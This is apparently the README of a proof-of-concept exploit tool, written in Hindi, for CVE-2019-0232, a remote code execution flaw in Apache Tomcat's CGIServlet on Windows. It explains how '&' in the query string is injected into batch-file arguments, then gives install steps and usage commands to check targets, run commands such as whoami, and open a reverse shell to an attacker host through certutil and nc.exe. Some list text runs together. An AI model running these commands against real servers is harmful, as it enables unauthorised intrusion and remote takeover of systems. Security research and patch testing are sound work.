
CVE-2019-0232 - Apache Tomcat CGIServlet enableCmdLineArguments RCE - PoC एक्सप्लॉइट

Apache Tomcat CGIServlet enableCmdLineArguments RCE (रिमोट कोड निष्पादन)
क्वेरी स्ट्रिंग तर्कों के माध्यम से Windows बैच स्क्रिप्ट इंजेक्शन
CGI सर्वलेट सक्षम और enableCmdLineArguments=true के साथ Apache Tomcat, क्वेरी स्ट्रिंग पैरामीटरों को CGI स्क्रिप्ट्स में कमांड-लाइन तर्कों के रूप में पास करता है। Windows पर, बैच फ़ाइलें (.bat/.cmd) & को कमांड विभाजक के रूप में व्याख्या करती हैं, जिससे एक क्राफ्टेड URL के माध्यम से मनमाना कमांड निष्पादन संभव हो जाता है।
conf/web.xml या WEB-INF/web.xml में सक्षम होenableCmdLineArguments=true होism.bat) तैनात और सुलभ हो& इंजेक्शन के लिए बैच फ़ाइलें आवश्यक हैं)git clone https://github.com/yuzuki-ayanami/CVE-2019-0232
cd CVE-2019-0232
pip install -r requirements.txt
जाँचें कि CGI एंडपॉइंट मौजूद है या नहीं:
python cve-2019-0232.py check -t http://target:8080
python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat
कमांड निष्पादित करें:
python cve-2019-0232.py exec -t http://target:8080 -c whoami
python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig'
रिवर्स शेल (2-चरणीय certutil + nc.exe):
python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444